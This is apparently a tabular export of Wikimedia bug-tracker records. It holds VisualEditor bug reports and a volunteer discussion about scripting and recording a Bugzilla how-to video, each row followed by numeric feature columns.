+**Severity**: enhancement",Medium,50.0,1380437160,1403008828.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-g2els4untqmatfgmtodr,task_description,declined,True,c1,3,False,False,False,12,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+267766,VisualEditor: Show user that drag-and-drop of textual content is not supported,"Given we are about to support text drag and drop with bug 49981, marking as wontfix.",,,1403008828,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g2els4untqmatfgmtodr,task_subcomment,,True,c1,3,True,,,50,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+267760,VisualEditor: Show user that drag-and-drop of textual content is not supported,"What the?  Drag and drop text appears to be not working in Chrome either; I am pretty sure I remember dragging and dropping text in Chrome in July, but maybe I am mistaken.",,,1380601042,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-g2els4untqmatfgmtodr,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+56705,VisualEditor: Dropdown clipping is a bit too aggressive,"Dropdown clipping
+
+Referring to the attached screenshots there are two issues:
+
+1. The width is not adjusted to account for the OS scrollbacks. I assume this is because has one of those fancy Macintosh computers that doesn't know how to draw a big chunky old-fashioned scroll bar.
+
+2. The assumption is made the the height of the VE container is the maximum height the scrollbar expand to. Here that is clearly not the case. It may be the case that because we don't know what lies beyond the borders of VE (e.g. z-index 9999 banner), we can't do anything about this. Maybe we can make the assumption the page content is sane, and if the dropdown ends up obscured, leave that as an integration problem for the user?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=69707
+
+**Attached**: {F12176}",Medium,50.0,1380295440,1415881674.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-5udersenidwseo6m5grs,task_description,resolved,True,c1,3,True,False,False,12,,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+264435,VisualEditor: Dropdown clipping is a bit too aggressive,Fixed in OOjs UI with gerrit 157295.,,,1415881674,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5udersenidwseo6m5grs,task_subcomment,,True,c1,3,True,,,71,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+264431,VisualEditor: Dropdown clipping is a bit too aggressive,"Corrections:
+scrollbacks -> scroll bars
+is because has -> is because Trevor has",,,1380301150,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-5udersenidwseo6m5grs,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+56657,VisualEditor: Switching from categories to languages while suggestion popup is open doesn't close popup,"Screenshot of languages dialog tab with the new-category popup in front
+
+Switching from categories to languages while suggestion popup is open doesn't close popup -- see screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F12105}",Medium,50.0,1380219960,1398184329.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-4y6au3cwi5b6pobrhrz5,task_description,resolved,True,c1,3,False,False,False,12,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+262038,VisualEditor: Switching from categories to languages while suggestion popup is open doesn't close popup,This was fixed a while ago.,,,1398184329,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4y6au3cwi5b6pobrhrz5,task_subcomment,,True,c1,3,True,,,42,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+56656,VisualEditor: Category editing tool should preview or at least link to the input categories,"Screenshot of category dialog, showing no apparent way to get at the listed categories
+
+The category suggestion tool seems to provide a simple typeahead search, but provides no way to go and see if the categories you've found are relevant.
+
+At a minimum, you should be able to open up the category page via a link from the search box and and the little tag display.
+
+Better still might be a little preview that pulls the description text (if any) and some sample contents right within the dialog box.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+**Attached**: {F12103}",Medium,50.0,1380219780,,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-w3ca2knqurlwdolz6rth,task_description,open,True,c1,3,False,False,,12,,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+261999,VisualEditor: Category editing tool should preview or at least link to the input categories,Seems like a nice idea. Provide a link in the category menu?,,,1415881475,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-w3ca2knqurlwdolz6rth,task_subcomment,,True,c1,3,True,,,71,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+56606,Make tutorial video on how to use Bugzilla,"This is kind of a meta bug and not an actual issue in BZ. Couldn't think of a better place to file it...
+
+Filing bugs/enhancements is difficult for some people to figure out. We can lower the barrier pretty easily by making a 1 or 2 minute video showing you how. Upload to commons, link to from BZ main page.
+
+Key components:
+- Sign up
+- Choosing the right product
+- Giving clear description of the problem/request
+-- Screenshots are fantastic
+-- Providing links is great too
+- Make sure to emphasize to not worry about filling all the fields out properly, the important step is opening the bug!
+
+Major props to User:Biosthmors on enwiki for coming up with the idea.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement
+**Whiteboard**: gci2013 https://www.mediawiki.org/wiki/Google_Code-In#Candidate_tasks
+**URL**: https://commons.wikimedia.org/wiki/File:How_to_file_a_report_in_Bugzilla.webm
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52696",Medium,50.0,1380129240,1389653591.0,PHID-USER-oetk6bbl6omm354ejz3b,False,,False,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_description,resolved,True,c1,3,False,False,False,12,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+259189,Make tutorial video on how to use Bugzilla,Excellent work Shujat! Thank you very much :-),,,1389707273,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,28,,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+259188,Make tutorial video on how to use Bugzilla,"Shujat completed the tutorial, which is available at https://commons.wikimedia.org/wiki/File:How_to_file_a_report_in_Bugzilla.webm
+
+Your help featuring it in mediawiki.org and other projects is welcome!
+
+Thank you very much, Shujat.",,,1389653591,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,28,,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+259186,Make tutorial video on how to use Bugzilla,*** Bug 58965 has been marked as a duplicate of this bug. ***,,,1389276275,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,27,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+259184,Make tutorial video on how to use Bugzilla,"
+
+(In reply to comment #33)
+> That's totally fine. Is the address bar (where the URL is shown) still
+> visible?
+> I'd say that's preferable to have.
+> 
+Well, I got that fixed by now, so its not a problem anymore, only the address bar is visible.
+But the g-mail will would be appearing, can't fix that.",,,1387984472,,PHID-USER-oyf7m4w6q3dcftbg22jg,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,25,,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1
+259182,Make tutorial video on how to use Bugzilla,"(In reply to comment #30)
+> Hello, I'm a student from GCI, and I've been assigned this task.
+> So, about the screencast, I have an idea: how about once the user account has
+> been created successfully, I go to http://www.mediawiki.org/wiki/MediaWiki,
+> then search for How to report a bug. From there I move to the new guided
+> form.
+
+OK
+
+(In reply to comment #32)
+> The script tells to go to your e-mail client, and I went to my gmail account
+> to get the mail, is that okay?
+
+Let's see how it looks like. The idea about not showing browser/email/OS chrome is to make the video as generic and as brand-free as possible. Don't worry, we can always cut.",,,1387811170,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,25,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+259179,Make tutorial video on how to use Bugzilla,"(In reply to comment #31)
+> Well, in the video, the windows taskbar or chrome logo is not there but tabs
+> are visible, that okay?
+
+That's totally fine. Is the address bar (where the URL is shown) still visible? I'd say that's preferable to have.
+
+(In reply to comment #32)
+> The script tells to go to your e-mail client, and I went to my gmail account
+> to get the mail, is that okay?
+
+Yes, but if you prefer to not show your real private email address and inbox at that time to the world, you might want to create another email account just for testing and making this video.",,,1387809225,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,25,,0,0,1,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,1
+259175,Make tutorial video on how to use Bugzilla,"The script tells to go to your e-mail client, and I went to my gmail account to get the mail, is that okay?",,,1387789082,,PHID-USER-oyf7m4w6q3dcftbg22jg,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,25,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+259168,Make tutorial video on how to use Bugzilla,"Well, in the video, the windows taskbar or chrome logo is not there but tabs are visible, that okay?",,,1387787959,,PHID-USER-oyf7m4w6q3dcftbg22jg,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,25,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+259159,Make tutorial video on how to use Bugzilla,"Hello, I'm a student from GCI, and I've been assigned this task.
+So, about the screencast, I have an idea: how about once the user account has been created successfully, I go to http://www.mediawiki.org/wiki/MediaWiki, then search for How to report a bug. From there I move to the new guided form.",,,1387787509,,PHID-USER-oyf7m4w6q3dcftbg22jg,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,25,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+259150,Make tutorial video on how to use Bugzilla,"Thank you Richard!
+
+The task about writing a script has been completed. I just created the task to produce the screencast:
+
+http://www.google-melange.com/gci/task/view/google/gci2013/5787018130882560",,,1385741411,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+259143,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:
+
+Ok, i think its just about there, Did i seem to mention anything
+Link for convenience: https://www.mediawiki.org/wiki/User:Richardusername/BugzillaScriptProject",,,1385677331,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+259139,Make tutorial video on how to use Bugzilla,"I have given Richard my last round of comments. The script already looks very good. If you have additional feedback don't comment: edit the script directly (""Be bold"").
+
+As soon as this task is completed I will create a new one about creating the screencast.",,,1385604293,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+259134,Make tutorial video on how to use Bugzilla,"Ok Richard, you don't need to get stuck in this discussion about the origin of the link. Whenever someone (you?) creates the screencast we will use an existing entry point in a wiki page (VisualEditor would work, as specified in your script).",,,1385504263,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+259129,Make tutorial video on how to use Bugzilla,"(In reply to comment #18)
+> I'm not sure how to transition from logging in to using the new formatted bug
+> submission form, as there seems to be no link from the site homepage.
+
+Uhm. I don't have an easy answer to that either right now. :(
+
+So far I've expected users to follow links on wikipages which point to the ?format=guided form in the URL. 
+But as Elitre already wrote: Discussed in bug 57254.",,,1385463812,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+259126,Make tutorial video on how to use Bugzilla,"It's a good first draft, but still needs more work. I have left my feedback. Andre and other readers of this report are encouraged to comment there as well.",,,1385445031,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+259124,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:
+
+The draft is finished if you're interested. Just going to clean it up and maybe add more details. Link again for CC:https://www.mediawiki.org/wiki/User:Richardusername/BugzillaScriptProject",,,1385427743,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+259121,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:
+
+Thanks for the video! It was exactly what I was thinking of, except doing this one more to the point. Also this is my main account, was accidentally logged in to wrong one when posting the last one. (I was going through the steps again)  As for the brief sign-up , we can easily remove it if needed, so ill just leave it until final revisions.",,,1385426393,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+259117,Make tutorial video on how to use Bugzilla,"Hi Richiell!
+
+Slides vs screencast, this video was well received here. Just in case it serves as source of inspiration: 
+
+> http://blog.johnath.com/2010/02/04/bugzilla-for-humans/
+
+There is another GCI task about title cards for videos, but they are not ready yet. Still, this task is about agreeing on the script, so never mind.
+
+Same for the link to the guided form. You are right, currently there is no way to reach it from Bugzilla itself. However, for your script we can assume that it will be in the home.
+
+About your script, feel free of reusing the very little I could do at https://www.mediawiki.org/wiki/Talk:How_to_report_a_bug#Screencast
+
+I also started thinking of the registration process. Then again, Bugzilla's registration is quite standard, so perhaps it is better to save that time to the viewers of the video and yourself. Mention in the script that users must be registered in order to file bugs, feel free spending 3 seconds to point to the Register link in the home and get directly to the stuff.
+
+This means that the beef of your script is ""Examples"".  :) 
+
+Sorry for not reaching to this conclusion before! Your draft helped reaching to this conclusion. This is how iterations work...",,,1385425713,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1
+259112,Make tutorial video on how to use Bugzilla,"**richiell** wrote:
+
+Ive made a little bit of progress on the script, here's the link if anyone wants to follow it: https://www.mediawiki.org/wiki/User:Richardusername/BugzillaScriptProject",,,1385421755,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+259106,Make tutorial video on how to use Bugzilla,"Hear, hear! Bug 57254.",,,1385418631,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+259098,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:
+
+I'm not sure how to transition from logging in to using the new formatted bug submission form, as there seems to be no link from the site homepage.",,,1385418288,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+259090,Make tutorial video on how to use Bugzilla,":) I wouldn't like to see slides in the video, but hey, that's just me. Let's see what Andre thinks, since he rules over Bugzilla here!",,,1385417958,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+259083,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:
+
+(In reply to comment #15)
+*or girls",,,1385416581,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+259075,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:
+
+OK, Im thinking about doing the script with part Slideshow and mostly a Guided screen recording. What do you guys think about that?",,,1385416522,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+259068,Make tutorial video on how to use Bugzilla,Awww! Thanks a lot!,,,1385400061,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+259063,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:
+
+I am a student from Google Code in this task was assighned to, and I will start today, begining in a couple of hours. (Regular updates were required)",,,1385399968,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+259059,Make tutorial video on how to use Bugzilla,"(In reply to comment #11)
+> You should post that guided form to wikitech-l
+
